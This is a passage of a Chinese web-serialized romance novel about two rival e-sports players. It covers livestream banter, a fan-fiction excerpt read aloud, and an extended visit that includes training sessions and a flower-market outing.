牧绍读完一段文章简介,等了一会儿池一黎那里还没有任何回应,像是已经闭麦一样安静。于是忍不住去喊他:“笨蛋哭包池一黎,你人呢?要不我们一人读一句?” 喜欢的人是内向小学生:【戳一戳(系统自带)】 喜欢的人是内向小学生:【小学生池一黎,你怎么不说话】 喜欢的人是内向小学生:【戳一戳(系统自带)】 池一黎嘴里还塞的水果,闭着嘴嚼了两下被他烦的没办法,叼着叉子闷气打字。 三水:【不想】 :【和你说话。】 “怎么还不想和我说话?”牧绍回忆了一下,觉得自己应该没有说什么会惹到他的话语,“我去接杯水接着读好了。” 【高冷男神ooc的伟大见证】 【三水闹脾气啦下一步是不是就要掉金豆豆了(期待)】 【我产品,,上辈子一定拯救了银河系呜呜呜】 【震惊!一米八七的高个型男私下里其实是爱哭鬼】 【好像隐约猜到吾皇之前直播不说话的原因了】 【感觉是嚣张烦人小狗和冷脸小猪包】 白书罗不亏是靠谱的队长。 这一篇同人文仅六千字,不仅是清水,甚至还没什么过多的感情线。完全是两个事业心男人之间的挑衅交流。 文章最后以HWD打败ZKS获得团体赛冠军,池一黎在平行世界的冠军台上留下小小一滴微不可查的、代表着整整七年终于得偿所愿的喜悦泪水而结局。 因为作者本人也想象不到高冷冰川池一黎其实真的会哭。 白书罗留言说:“杀穿ZKS,吾辈义不容辞。” 好一个同人文。牧绍读完都要养胃了。 ZKS队长从松闵在职业联盟群喊话: windy:【这不算,感情线呢?感情线呢?联盟即将到来的唯一真情侣在这里你就给我看这?】 windy:【白狗你夹带私货你可耻啊!】 windy:【不如选我那篇。】 几秒后白书罗淡然回复。 这可是众人之爹:【那咋了】 “好吧,不会哭的哭包池一黎。你要不关了直播,然后把刚刚那个点开吧?”牧绍饶有兴趣地提议说,“我可以再帮你读一遍。” 池一黎啃完桌子上盘子里的水果,想到刚刚跳转的链接,皱眉道:“牧绍,你话好多。” 牧绍简直太无辜:“干什么,又嫌我烦?小学生池一黎,你怎么用完就扔。” 池一黎冷酷无情:“我要挂了。” “你真不可爱,”牧绍说,“帮完忙的时候其他小学生还会给我说——‘哥哥,谢谢你’。” 哥哥? 池一黎长这么大以来,没有没喊过别人这两个字。冷面帅哥男的人生过于潇洒,向来都是别人喊他哥的份。 牧绍这句话的心思完全都不用藏。毕竟牧绍在官方百科上写的年龄的确要比他大四个月。 但池一黎才不吃他这一套,冷漠道:“是你提出帮我读的。” 牧绍点开从松闵见缝插针给他发的一堆文包,又觉得和正在跟他对话的池一黎本人相比,那些文字都索然无味 。 “主动的人就没有奖励了吗?”牧绍觉得这个便宜还是想占一下的,故意歪曲了话题导向。 池一黎从小受到的教育不认可他这句话,主动的人当然也会得到奖励。但这显然不是一回事,他顿了下,思考了一下自己刚刚所说的内容,听到牧绍又带着笑意说:“那这一声先欠着好了。” 好理直气壮一个人。直播间粉丝都被他震惊了。 【这就让叫哥了/牧神我都不想说你。】 【又不扫黄怎么还要关了直播读,不厚道啊你要把粉丝当家人你懂吗?】 【HWD杀穿ZKS!!】 【你等着我晚上睡你们床底】 【那篇《误会》,让吃一粒读啊!让吃一粒读啊!!】 池一黎把他电话挂断,接着刚刚那局高级扫雷继续玩下去。 三个小时时长到了他就光速下播。他父母作息都很规律,这个点外面静悄悄的,池一黎把盘子冲干净再洗漱完,躺床上的时候刚好是十二点。 牧绍在这期间给他发了十几条语音,每一条都是极限六十秒,整整齐齐地排列在屏幕上。 怎么这么长,池一黎随便点开了一个。 “……话语有时候会是一把插入心脏的利刃。他天生语言系统匮乏,也不知道是好是坏。对于这次误会,到嘴边却说不出一句辩解的音节。 于是他沉默地站在那里。” 牧绍在说些什么? 池一黎皱起眉,一时间脑海里还没有反应过来。直到语音条继续播放下去,才察觉到这是什么。 “…… 牧绍也是一个正常的Alpha,在遇到池一黎前向来嚣张霸道惯了,骨子里的占有欲与生俱来。 此刻见到同为Alpha的爱人身上沾染了不知名omega的气息,怎么会不为此感到生气? AO天生配对,AA为人不耻,你厌倦了每次亲吻前都要抵抗生理性的厌恶吗? 但是你的眼睛明明还爱我。 ‘补偿我。’牧绍哑着声音说,指节都泛起青白,看着池一黎的目光如海水般波涛汹涌,藏着快要压抑不住的情//欲。 但黑发Alpha仍然站在那里,没有任何动作,他和他的信息素一样,都冷的像是一块冰。 信息素对撞时水火不容,但是牧绍偏偏要去将他强硬地融化开来,去看波澜不惊的表象下到底是怎么一副面容。 ……” 喜欢的人是内向小学生:【读完了会有奖励吗?】 怎么可能会有奖励。 池一黎点开键盘想了半天也没有输入一个字,却忘记了这个状态下聊天软件会有状态提示。 他抿嘴看着屏幕,想调小音量又按错到一旁的关机键。音频在后台自动继续播放,房间里回荡的全是牧绍一个人的声音。 “……池一黎不会哭,但是被掐住腰的时候却忍不住的掉下眼泪。他看着压住自己的牧绍,平日里淡漠的情感也泛起汹涌的潮汐。 怎么才能让他消气?他模糊地思考起来。 腺体被犬齿毫不客气的咬破,被迫注入不属于自己的信息素。相斥的气息在身体里交缠起来,黑发Alpha被扣在怀里,从没有过这样失控难忍的感觉。 他们之前向来都是浅尝辄止。 ……到底为什么会这样生气? ……” 他的声音还没结束,手机消息提示音在其中突然突兀地响起来。池一黎顿了一下,试了两遍密码都显示错误,指纹解锁才看到牧绍刚刚发来的新消息。 牧绍问他: :【你反感吗?】 过了几秒,他又补充说: :【我永远也不会对你生气。】 第38章 全明星结束, 教练第一个月私下里就只和其他战队约了两场训练赛,这个强度放在明面上会被认为HWD选手要集体退役,真正贯彻了什么叫摆烂。 教练故作镇定道:到你们这个层次, 训练要适度,过度劳累伤身体伤脑子,反而会起反效果。 代乐拆台说实际上是约ZKS没约到, 而有价值还愿意接训练赛的对手不多,一是打不过他们,二是都害怕暴露自己的新战术。 教练恼羞成怒道:照着新体系自己练练好了! 池一黎和父母说好大概规划, 周一回到俱乐部。 韩城像是做了一个伟大决定一样, 庄严宣布他们昨天半夜决定明天就出发,行李箱都已经收拾好了。说什么暑期雪山三周伟大计划,不登顶势不归! 哪座雪山能爬整整三周。 辅助在全明星结束当晚已经和女朋友出发去看海, 现在俱乐部就剩下他们四个。韩城捧着玻璃花瓶凑到池一黎旁边,示意道:“算上今天,四朵花,漂漂亮亮地都在这里装着呢。” 不同颜色的四朵花静静插在瓶子里, 花瓣颜色很淡, 底部都被修剪过,没有要败的迹象, 开的很灿烂。 庄路弥啧道:“今天竟然是蓝色引力,都是网瘾少年, 怎么牧绍这么有钱啊。” “除了第一天是喷色外,这几天全是自然花,”韩城装模作样地点点头,“不错不错,下功夫了, 有这份心在,我可以暂且磕一口。” 韩城把花瓶郑重地塞到池一黎手里,丝毫没有感觉到,站在他们面前的正主本人其实还完全没有要谈的趋势。 池一黎在家里用一天时间思考了一下,发现自己的确并不反感他的行为。 这显然有些不对。如果按牧绍是他六年来唯一且最强对手来讲,确实是特殊的那个,但是他并没有觉得自己喜欢他。 之前每次与团体赛冠军失之交臂,池一黎都会在没有人的休息室调整好情绪再出去。他神色总是保持着冰川般的波澜不惊,没有人会发现异样。 记忆最深刻是晚上回到房间复盘懊恼时,眼泪总是停不下来。牧绍站在上方得意洋洋看向他的表情一整晚都在脑海里旋转,下台后还非要揪他的衣摆。 真讨厌。池一黎想。 一件一件算下来,就好像所有牧绍参与的事情都能轻易影响自己的情绪,一周前第一次在他面前掉过眼泪后,这种情况变得更为明显起来。 他有些不喜欢这种失控的感觉。 池一黎把花放回到韩城手上,沉下心说:“你们需要控制一下。” 白书罗还在厨房泡牛奶麦片,庄路弥和韩城对视一眼,顿时噤了声。 人的思维方式就是这样,当事人如果不在意的话,一切行为就都是友好正常的。两个人没有边界感惯了,对谁都要犯贱几下,这么一想,仗着池一黎不介意,之前当面胡乱配对的行为确实很过分。 可是明明周六直播的时候,两个人看起来感情明显是在升温的。 牧绍打的电话他接了,被用那种类似于调情的语气对待都没有发脾气,回复的几句话语在其他人眼里更像是在向牧绍撒娇。 其他选手互相那样对待的话可能很正常。可这种行为框到池一黎身上,就看起来极其不可思议。更别提对面还是嚣张惯犯、谁说话都不好使的牧绍。 同人文都不敢写他们之间的这种相处方式,简直是会被粉丝聚众投雷文bot骂ooc的程度。 池一黎嫌弃他们实力的时候也没有过那样,再怎么戳怎么逗直接人就冷酷的下线消失了,怎么还会乖乖回应什么不想和你说话。 笨蛋哭包爱哭鬼,可恶啊身为队友的他们也想叫啊! 难道是短短一天,牧绍就把他惹不开心了?韩城左思右想,也就只有这一个可能了。 他速速把花瓶拿远了点,双腿螃蟹一样快速挪动到一旁,回来时换上了代乐给池一黎房间里新买的剑兰。这玩意HWD队员一人一瓶,但因为池一黎昨天不在,这瓶花暂时在客厅摆着。 白书罗握着不锈钢大杯子从厨房拐出来,看到庄路弥正对着朝自己挤眉弄眼,就和脸部抽搐了一般,不由得开口说:“庄儿,你面部瘫痪的话要不我们去医院吧?” 忽视庄路弥瞬间僵在脸上的神情,白书罗余光看到池一黎上楼的眼熟背影,又转头道:“大宝贝啊,你今年真不来一起去玩一玩?” 每年休赛期团建旅游池一黎都不去,像是蜗居在家里一样。白书罗昨天和从松闵聊天发现两班人马竟然晦气的选择了同一个目的地,而一向喜欢这种活动的牧绍这次竟然也不去。 他正要问出口,韩城似有所感的大声说:“三水不想去就在家里休息!我们给你把那特产全带回来,给你拿三儿保温杯的雪!保证到时候在家就如同身临其境!” 池一黎已经接过花在往楼上走去,闻言浅浅地转身回来,似乎被逗笑了一样垂眼看他,点了点头当作回应。 代乐没给他打电话,池一黎这几天就什么软件都没看。回到房间把花摆在小阳台衡梁上,想起刚刚被韩城放在客厅角落里的玫瑰花,在桌子前坐下,下意识打开电脑用小号上线游戏。 牧绍的那两句话他一直没回复,聊天框里堆满了牧绍昨天一天自问自答式的话语,就算没有回应他也一个人聊的很坚持不懈。 消息越积越多,池一黎觉得自己这样不回复有些过分,但他实在想不到自己应该回些什么。 就像回复就和认输了一样。 不反感,所以放任他追求自己。反感?但他又不是真的讨厌牧绍。最多嫌他烦了点,做事像是神经病了点,说话还非常讨人嫌。 虽然这听起来算是非常讨厌。 他都要被牧绍最近的行为搞不懂了。 想不明白干脆不去想,池一黎点击鼠标锁定英雄,快速地进入游戏状态。 他万万没想到牧绍出现的这么突然。 “因为你一直不回消息,所以我就来找你了啊。” 站在俱乐部门口的橙毛自然而然地看着他这么说。牧绍穿着简单的蓝色无袖帽衫,拉着行李箱,在晚上十一半点闪现一般跨越半个国土出现在HWD俱乐部门口。 白书罗他们赶凌晨的飞机,在牧绍到来的十几分钟前刚刚走,毕竟机场离这里还有些距离,算上登机手续流程,需要的时间不短。 池一黎在门口送他们,顺便在楼下烧水给自己泡了一杯花茶。也打算简单收拾一下,再在这里睡一晚上就回家窝着。 去年的全明星在十二月,休赛期是暑期很长的四个月,今年不知道怎么安排的堆在了一块。 池一黎没有想到白书罗他们这次走这么早,而且说走就走,本身是计划着和他们一起待在俱乐部,再进行一下配合训练。 然后牧绍就突然敲门了。 他看起来过来的很急,橙色的头发凌乱的散落在头顶,池一黎开门时正在纠结怎么以一种帅气的姿态闪亮出现。 因为池一黎不回消息,从松林又吐槽说‘今年旅游和HWD那群狗玩意,不仅地点,甚至连时间都撞在一起了’——那池一黎肯定不去,于是牧绍处理完了所有事情,就买票迅速再赶过来了。 池一黎是在因为他那天的冒犯不悦吗? 不开心,所以不回自己?还是被他读的文章惹到害羞……好吧,后者照现在的进展来看可以暂时排除。 牧绍捏着蓝色玫瑰花的花枝想,一会儿池一黎开门时,自己是搭着门框自上而下地附身问好呢,还是展露出一个帅气的笑容然后递给他。或者学习一下最近看的书,以一段骚包的语句表达出池一黎很配这朵玫瑰花。 想了一路到门口还没想好,手就已经按上了门铃。牧绍第一次感受到动作比脑子快的弊端。括弧,在游戏外,括弧。 搭在门把手上的人身型修长,另一只手握着茶杯,轮廓冷酷锋利,皮肤在灯光地照耀下泛起一圈暖黄色的光晕。刹那间,牧绍有点分不清到底是杯子还是指节更为瓷白。 “你怎么来了?”池一黎在门内凝眉问。 牧绍半坐在行李箱上,盯着他浅淡的眸瞳,看了一会儿突然笑起来:“我想见你啊。” “……入住是经过许可的,”牧绍懒懒补充,“战术超群的梁教练,人美心善的代乐经理,哦……还有比从松闵可靠的白大队长,他们都同意了。” 囊括管理层到战队人员,牧绍这句话说的完全没有拒绝的余地。池一黎看着他,侧身让出了允许一个人通过的空间。 牧绍勾唇,起身拉着行李箱往里面走,用另一只靠近池一黎的手捏住玫瑰花。在两个人身躯摩擦着贴住时,轻巧地把花插在他衬衣胸前的口袋里。 温热的触感一触即离,刚刚送过来的玫瑰花还冒着点锁花剂自带的雾气。衬衣被花瓣蹭过时带着微凉的触感,池一黎把它摘下来,看着牧绍轻松拎起行李箱就往楼上走,熟练的像是回自己家。 牧绍走了几步又拐回来,站在池一黎面前,眼神悠悠地停到他身上。 “所以你反感吗?亲爱的哭包池一黎?”牧绍开口说,“虽然话很不好听,但是你再反感我都已经缠住你了。” 池一黎对于他后半句完全无所谓,只是顿时对那两个字有些不悦,给他明明白白地说:“你不要这样称呼我。” “……就算你说讨厌我……”牧绍把自己想说的话说了一半,看到池一黎明显不对的情绪,飞速的住了嘴。 称呼? 亲爱的、还是哭包? 牧绍回想起之前几天两个人相处时池一黎眼泪的触发机制,敏锐地察觉到他在意的事情。不由得低笑道:“好玩的池一黎,你不会这就要哭了吧?” 这句话意这种语气出现在这里,显然非常不对起来。 被池一黎这样皱着眉看着,牧绍一边又想看他哭一边又不想看他哭,矛盾地纠结起下一句说什么,却在思索间,反射性地察觉到不对,脱口而出道:“我保证再也不说了。” 第39章 池一黎给父母打电话, 说本身不回的,但是打算回时,现在又回不去了。 毕竟都住进来了, 他又不能把牧绍一个人留在俱乐部里,也不能把他赶出去。 妈妈说:“人家到了好好招待就好了。反正回来也是在家里躺着……你不想去旅游的话,市内也有不少好玩的地方, 想去哪里时顺便把他遛上就可以了。” 池一黎想了想,回答说:“但是他有点讨厌。” 一声不响地登门,自顾自地叽哩哇啦一大堆, 这简直太过讨厌。 “要是讨厌的话, 明天你会直接回来吧?”妈妈因为他的用词笑起来,“你说过他很厉害,反正相处看看也没有什么坏处。” 爸爸的脸怼到屏幕上, 在他凑过来要提出一些很不靠谱的建议前,池一黎没什么表情地先一步挂了电话。 牧绍晚上在视频里新学了一招,叫摆盘。 和上次一样夹在门把手内侧的花被池一黎拿到手上,早上十点, 他下楼看到餐桌上的花瓶里也有八朵花, 牧绍正站在那里专心致志地研究怎么把两人份的餐摆成惊世大作。 “早上好啊,可爱的池一黎, ”牧绍放完最后一片装饰叶,抬头时正好看到他往这边走来, 对自己的手艺还是比较满意,“我做了鲜虾馄饨,你肯定会喜欢。” 池一黎穿着简单的纯黑色短袖,似乎还没有睡醒的样子,看着桌子上的花半晌, 坐在了牧绍拉开的凳子上。 他将花顺手塞进花瓶里,蓝色的花在一堆粉色玫瑰里有些过于突兀,花瓣上还盈了薄薄一层露水,缓缓因为重力原因聚集在一起,再滚落到桌面上。 池一黎不会做饭,上一次尝试还是在初中时老师布置的家庭作业时,母亲节要给妈妈做一顿饭,然后拍照留念。 那会儿游戏角色独狼新出了一款皮肤特效,是挥刀时会发射正方形的赛博科技块,池一黎把土豆认真的切成有棱有角的大正方形,还在上面刻了小字,最终的结果是完全炒不熟。 为了防止一家三口毒发身亡,在一旁看的爸爸选择让他切完,然后偷偷自己炒了一盘小正方形装盘。忽悠他说,因为感受到他的诚心,大正方形衍生出了小正方形,作为给妈妈庆祝的礼物。 就那一次尝试,池一黎再没进过厨房。在家里妈妈怕他切菜时切伤了手,在俱乐部有专门负责营养搭配的厨师,厨师放假时一堆人也是吃外卖下馆子比较多。 毕竟身为电竞选手,他的手有一个粉丝重金替他上了保险,很贵。 HWD俱乐部的厨房里除了速食基本什么都没有,牧绍早上七点起来叫跑腿送菜。他前几天打电话给远在海外的父母宣布说他要追人的大事,采取放养措施的二位对此极其震惊,并且非常不看好他,评价道他既缺乏礼貌又不会说话。 牧绍因为他们的评价陷入深思。 厨房得到了代乐的许可说他可以随便用。池一黎吃饭的时间极其不规律,但之前世界赛身处同一个酒店的时候,不管晚上训练到多晚,早上十点池一黎都会准时出现在酒店的餐厅。 牧绍包好馄饨,试着摆了一下餐桌,没想到池一黎刚好就下来了。 毕竟恋爱天才伍于起说得对,追人得先抓住他的胃。 牧绍干什么都有他自己的想法,行为一直都比较奇怪,而且在HWD俱乐部住又要他陪,池一黎没什么心理负担地接受了牧绍的上贡。 一顿饭吃的很安静,牧绍把碗放进洗碗机里,觉得池一黎吃自己做的饭,这感觉非常不错。心情保持愉悦的态度,问他:“你下午什么安排?” 牧绍昨天紧急查询了周围所有好玩的地方,准备问池一黎陪自己一起,东道主的借口一出,以他的性格绝对不会拒绝。 他一年也就来一两次,两个人大部分时间都是在其他城市见面,对这里的确不是很熟。 池一黎戴上黑色鸭舌帽,他的肤色偏白,衣服又是纯黑,衬得露出的皮肤像是在反光,低头时被帽檐遮挡,最高只能看到鼻梁上的那一点痣。 他回头答道:“和我一起去训练室。” “1v1,”池一黎语气沉稳,“牧绍,你没事干吧。” 这算是在邀请自己? 牧绍只听到了那四个字,果断点头答应了。 训练室出门七分钟就能走到。牧绍上次来还是几年前ZKS和HWD约着打训练赛的时候。但自从形势定性,国内赛冠军的有力争夺者也就只有HWD和ZKS两个战队,私下里约训练赛从各方面来讲都完全没有意义。 他们所在的赛区在世界赛上一共有四个名额,有邻国赛区的强势插/入,HWD战队在世界赛上的排名在第二和第三浮动。 池一黎是打1V1称王称帝的,牧绍没报名过这个,他的角色在团战里有天生优势。1v1多数是平局,能不能无痛打赢池一黎还很不好说。倒是从松闵和伍于起在去年新推出的2v2上被隔壁赛区压了一头。 池一黎在内测版登小号上机,牧绍在他对面点点鼠标,为又第不知道多少次坐在电脑前和池一黎面对面这件事情感觉到胃痛。 界面停留在牧绍选定角色的倒计时,池一黎等了几秒,侧头从电脑旁边露出一双浅淡的眼睛看他:“你快锁定。” 那双眼睛眼白分明,眼珠颜色很淡,仔细看又偏向于铅灰。池一黎慢慢眨了两下眼睛,纤长的睫毛一上一下地扫到心里,牧绍手一滑,反应过来时已经进入游戏画面。 ……男人好影响我拔剑的速度。 牧绍深刻地想,满脑子都是池一黎那双眼睛盈满泪水的模样。随意扫了一眼周围,看到自己所处这张桌子上的镜子,正好反射出池一黎清晰立体的五官。 可能是因为不是正式比赛,也可能是因为对面坐着的是池一黎,总之牧绍这局游戏十分丧失竞技精神。 他全顾着去注意池一黎的表情,观察到他按技能时会下意识抿唇的小习惯,表情看起来严肃又认真,又乖的不像样子,让他心底发痒。 一局打完,池一黎虽然赢了,但显然有些不悦。他又从电脑旁探出头,看向牧绍说:“你根本没有认真。” 牧绍向后靠在椅子上,抓了一把自己的橙毛,诚实道:“我脑子里全是你,根本没法去注意画面。” 池一黎因为他这句不合时宜的直白话语凝起眉,他似乎是想说些什么,但最后只蹦出来了三个字:“认真打。” 顿了顿,池一黎重新移回了视线。他点击鼠标打开装备设定界面,思考了一会儿,又冷漠地强调道:“不然我就不理你了。” 镜子反射出他的神色,看起来还是那样波澜不惊,只是简单的说了一句话,牧绍瞬间坐直了身体。 简直是对池一黎完全投降。牧绍还以为他会说些什么。毕竟电子竞技不认真会被当成轻视对手,是傲慢大忌,他已经因为这个被骂的超过几万层楼。 虽然池一黎不理他也很…… 好吧,如果真的有一天发生这种事情,他发现自己其实完全不能接受。牧绍伸手把镜子反扣上,迅速静下心,重新调整自己的思绪进入了游戏状态。 池一黎在练一个新连招,已经在游戏里的模拟房间和AI智能操纵的角色演示了很多次,但总是找不到合适的切点。 牧绍认真地操作起来,他这串不成熟的连招就总是被打断,依靠下赛季前瞻路透新搭配出的装备,显然数值在测试版里没有达到预期,还得重新再修整一套。 池一黎在脑海里推演,慢慢摸索着每一局都换不同的套装。但是他的思路已经被牧绍摸透,连招在最后一步总是释放不出来。 牧绍已经猜到他想要什么效果了,干脆说:“你现在叠加只有2.7秒的解控,单打还好,团战里我有队友加持的话会差的更多。” “队友跟不上节奏的话,干脆直接换一个技能?” 他这句话说的太过傲慢,池一黎很久前就想过,但不确定能否达到预期。 现阶段手上这一套搭配上自己的操作完全够用,练新技能其实没有必要。 而且测试和新技能的兼容度与上限仅仅靠AI模拟场完全不能达到预期效果,需要在大量实战中测试。技术操作和他相匹配、能精准找到他失误地方、还能陪他一坐一下午摸索的人,一眼望去几乎没有。 所以池一黎已经在心里想了很久却还没有付出行动。 相匹配的实力和特意空出来的时间,这两个牧绍都有。 他观察了一会儿池一黎的表情,故意迂回道:“我最近刷视频,市郊的那个欢乐世界看起来很好玩的样子,滑动手机的时候不小心买了两张套票……” 他语速很满,但面前的池一黎丝毫听不出来他意思一样,无波无澜地开口:“你也太不小心。” 这种钓鱼激将法对池一黎显然没有用,牧绍索性摊开了讲:“你陪我去那里玩一天,我天天都和你坐在这里。”反正都有池一黎在,横竖他都不吃亏。 陪同玩一天就能换一个高级陪练,算下来好像也没有不对的地方,池一黎在他不加掩饰的目光下抿唇点头:“可以。” 第40章 池一黎在训练室里打了整整一周游戏。 牧绍做陪练太过完美, 因为太了解他,指出的失误都一针见血,这种情况十分难得, 反应过来时已经拉着对方在训练室待了四天。 有的人气王虽然说话气人了点,但是天赋在那里,让人望尘莫及, 生来就是吃这碗饭的。 牧绍在HWD俱乐部这里只能待三周,队友回来后就要一起研究新战术。毕竟休赛期实际上就是为了给即将到来的大型比赛做准备,真实的放假期限算下来其实不多。 又是送花, 又是陪练, 还负责一日三餐,池一黎周五打完最后一场后想了想,虽然牧绍完全没有任何不满, 但自己理所应当享受的行为好像有些过分。 “其实已经差不多了,明天你再试一下我刚刚说的那个搭配,初始控防数值应该就够了。”牧绍把帽子递给池一黎,懒懒问他:“早上想吃什么?” 池一黎站起身说:“明天不打游戏。” 牧绍这一周都没提什么时候出去玩, 一坐就是一天, 除了小动作不断外安分的像是换了一个性子,听到他这句话后眼眸微弯, 好像就是在等着他主动提出来一样。 牧绍开口:“其实我是想走之前……” “去花鸟市场。”池一黎看他,“你去吗?” 这完全不用问, 牧绍去哪里都可以。他还很想绕着市内所有情侣打卡圣地逛一圈,如果池一黎和答应他去游乐场时一样好说话的话。 池一黎戴上鸭舌帽。他周末一般都会回家,但是把牧绍一个人留在俱乐部显然不是很好。妈妈这周要加班,说想要一盆新的文心兰。 牧绍记得他不久前查询百度,有一条显示花鸟市场是小情侣第二约会圣地, 心情不错地示意说:“你去哪里我就去哪里。” 池一黎不知道他心里在想什么,既然没有什么异议,那就按他的安排走就好了。 周六早上的花鸟市场显然人很多。买花的、看爬宠的凑到一起有些人挤人,车停在最外边开不进来。牧绍新买了一个池一黎同款的帽子,在身后悠哉地插着兜看他选了一个人比较少的店挑花。 池一黎穿着一身黑,脸上看起来面无表情,微微弯腰站在花丛里有一种别样的违和感。也可能是因为身后还站着一个穿鞋超过一米九的懒散高个男人,周围路过的不少人都频频回头。 早上牧绍煎了一碗小鸡蛋卷和香蕉片,池一黎看起来对这类早餐的接受程度一般,但是牧绍喜欢看他一口一个往嘴里塞的动作。 牧绍双手插兜地盯着池一黎的侧脸,思绪想着想着难免有些神游天外。 因为不知道妈妈想要哪个,粉色和黄色池一黎各挑了一盆。一手抱一个进店付款,店家是一个中年女人,介绍说它开花后味道会非常好闻。 池一黎点点头,把花放到收银台上,付款后让她开始打包。 “闻多了也可能会吐。”才进来的一位抱着鱼缸的青年吐槽道,非常自来熟地凑过来,“我妈上次买了一盆 ,放我屋子里熏的我鼻炎都犯了。” “还有兄弟,你看起来真的好眼熟啊,跟了你和那哥们一路了,但是我一时半会儿想不起来……”青年苦恼地挠挠头。他单臂抱着鱼缸,里面的两条鱼有极其宽大的圆形尾鳍,甩尾扫过去时漂亮的像是七彩色的裙摆。 此刻两只鱼正在互相争斗,怼了一会儿彼此后又开始撞玻璃,在两个人的目光下撞的水花四溅。 “这是什么鱼?”池一黎问。 “一个糖果将军一个冰蓝半月,”青年说,“好看吧,名字我也喜欢!一眼就看上了,就在隔壁的隔壁那家买的,一条才四十块钱。” “就是看着有些好活波啊,感觉随时都能……” 青年一边说一边单手举起鱼缸展示。鱼缸宽矮透明,很轻易就能看到两条鱼的姿态,活波的有些过于好斗。 池一黎大概认识,他爸爸之前买过类似的,统称叫泰国斗鱼,第二天就被养死了。这种鱼两只都是雄性的话是不能放在一起养的,会打架,还爱蹦哒着跳缸。 池一黎抬了下眼皮,问他:“店家没说什么?” 话音刚落,众目睽睽之下,名叫“糖果将军”的那条红鱼一个飞跃跳出了鱼缸,带着一身的水花精准的飞落到了池一黎的身上。 鱼身被微微凸起的胸膛短暂卡住,胡乱地在他衣服上蹦跳几下,再经历自由落体摔到地上,静静地好像死掉了一样。 “……看着会……跳出来。”青年手一抖,半个鱼缸的水都倾斜而出,他看着池一黎湿了大片的衣服,保持着举起鱼缸的姿势,惊恐地不说话了。 “你这人怎么这么不小心,快把鱼捡起来呀!一会儿溺空气了怎么办?” 店家打包的动作一顿,从桌子上抽出几张纸递过来,再转身往后方的储物室走去:“包装纸不够了,我先去取,帅哥你等一下啊。” 池一黎慢半拍地低下头,衣服湿答答地黏在身上,感觉有些不太舒服。 他身量比青年要高一些,冷脸垂眸扫过去时有一股类似于不悦的压迫感,眼珠子凉凉的什么情绪都没有。 青年迅速捡起鱼塞到鱼缸里,接过店家的卫生纸心虚地帮池一黎吸起衣服上的水。 手下触感软绵绵的,他不由得多压了几下。在池一黎下意识伸手抵挡前,他余光看到才踏入门框的牧绍,在极度压力下灵光一闪地跳了起来,与池一黎隔开了距离。 “我靠,我想起你们是谁了!” 牧绍手上拿着十一朵包好的红色玫瑰。他踩着门框走过来,摘下鸭舌帽露出标志性的橙色头发,看到青年猛地拔地站起的动作,悠悠挑眉看他一眼。 “你对象,你对象。”青年火速把一包新纸塞到牧绍手上,无辜发誓道,“神帝99,苍了个天了竟然是真的……牧神我什么便宜都没占啊。” 青年的目光炯炯有神,嘴里的称呼很得牧绍喜欢,他勾起嘴角,看到池一黎低着头似乎根本不在意的样子,就完全不打算解释什么。 “怎么了?”牧绍噙着笑意问。 因为收银台朝向的问题,池一黎整个人都背对着他。牧绍走到刚刚青年站立的地方,从来没有想到过的画面强行占据脑海,眼神顿时暗了一瞬。 池一黎正在把刚刚沾衣服的纸拿下来扔到一旁的垃圾桶里。衣服湿了一大片,黑色短袖紧紧贴在皮肤上,腰线紧实,勾勒出胸肌饱满发达的曲线轮廓。挺翘的圆点受到刺激,把短袖布料撑得凸起。 他的身体实在太过敏感,肩膀这些部位还好,但其他地方被碰触时就会有酥麻的感觉。 青年在一旁踟蹰几下:“怎么赔……” 池一黎问:“鱼还活着?” “……活的好好的!”青年猛然立正答道,“真的太对不起了啊啊啊第一次见面啊可恶,我真想吊死在花店门口,池神要不我……” “没事。”池一黎神色毫无波澜,声音冷淡道:“两条鱼分开养,你去让店家给你换一个高鱼缸。” 青年彳亍几秒,蹲下去把地板用卫生纸擦干净,泪眼婆娑地抱着鱼缸出去了。 牧绍隔着卫生纸伸手戳了两下边缘,指腹接触到湿润的布料,比想象里还要柔软一些。 痒意上来,池一黎敏感地后退一步,浅色的眸子盯住他:“……你干什么?” 胸前的弧度在视野里完全忽视不了,这一幕过于□□,虽然池一黎本人丝毫没有察觉到不对。 牧绍向来只注意到他亮晶晶的眼睛。池一黎冷漠的神情和流泪的时候他都喜欢。第一次有实感的发现,想要身体接触的欲望,远远比单纯看他因为自己而变化神色的想法要强烈的多。 “帮你擦一擦。”牧绍从善如流地说。 牧绍想学视频教学里一样脱下自己的外套盖到池一黎身上,但发现自己今天就穿了一件连帽无袖。 “湿着很难受?” 池一黎提了提衣领,热风滚入胸膛。这里又没有衣服,回去换了就好。他说:“夏天,一会儿就会干。” 牧绍有点在意。 店家从后方的储物室姗姗来迟地拿来了包装纸,娴熟地包装好花盆递给他。池一黎一手拿一个抱在胸口,刚好把微微凸现的轮廓挡的严严实实。 “走吧。”池一黎说。 牧绍又有点失落。 他单手戴上新买的池一黎同款鸭舌帽,捏住手上的红色玫瑰花,抬腿跟上时又被店家叫住。 她看到牧绍手上的那捧花,还以为是自己没注意,但是仔细一看却发现不是自己店里的。这捧花已经包装好了,而且包装的十分完美,看得出是经过精心准备。 “嗯,是我弄错了,”她说,“很不好意思,刚刚还耽误了你们那么长时间。”店家从一旁拿出一束黑色玫瑰:“不是喷色,自然花哦,当作补偿了。你的红玫瑰很浪漫。” 牧绍接过来,把这束花和手里的插在一起。黑色玫瑰在光线下也会偏红,叠加在一起分外漂亮。 池一黎站在门口,微微侧头问他:“你买的?” “不是,”牧绍闷声笑道,“刚刚在门口遇到三个粉丝,是她们让我送给你的。” 这是干什么?池一黎不解。 “你喜欢吗?”牧绍笑起来,勾唇说,“看来她们都很看好我。” 池一黎抱着怀里的两盆花,垂着眼帘没接这句话。 牧绍想要把手上的玫瑰花和池一黎怀里的那两盆替换一下,池一黎不动,牧绍强调地说道:“因为是她们给你的啊,我拿着是不是不太好?” 两个人的身量都不低,气质站在人群里分外瞩目。周围的人或经意或直白都在盯着他们看,池一黎思索片刻:“我也给你定了花。” 这句话的语气一贯的波澜不惊,猛不丁的,牧绍心跳都漏了两拍:“……什么?” 池一黎补充说:“定了一束剑兰。” 牧绍心情从未如此像这一刻般爽过,愉悦地拿起手机百度搜索,却发现剑兰的花语代表“事业高升、送朋友、亲人、领导、老师、同事……” 嗯? 池一黎被牧绍磨的没办法,和他把手上的花换了,把玫瑰花抱在怀里低头搜索店铺导航,没有注意到一旁牧绍僵在脸上的笑意。 牧绍一边一个夹着两盆花,不信邪地再搜了搜,终于从犄角旮旯里翻出来了“送恋人”的花语,满意的退出了搜索框。 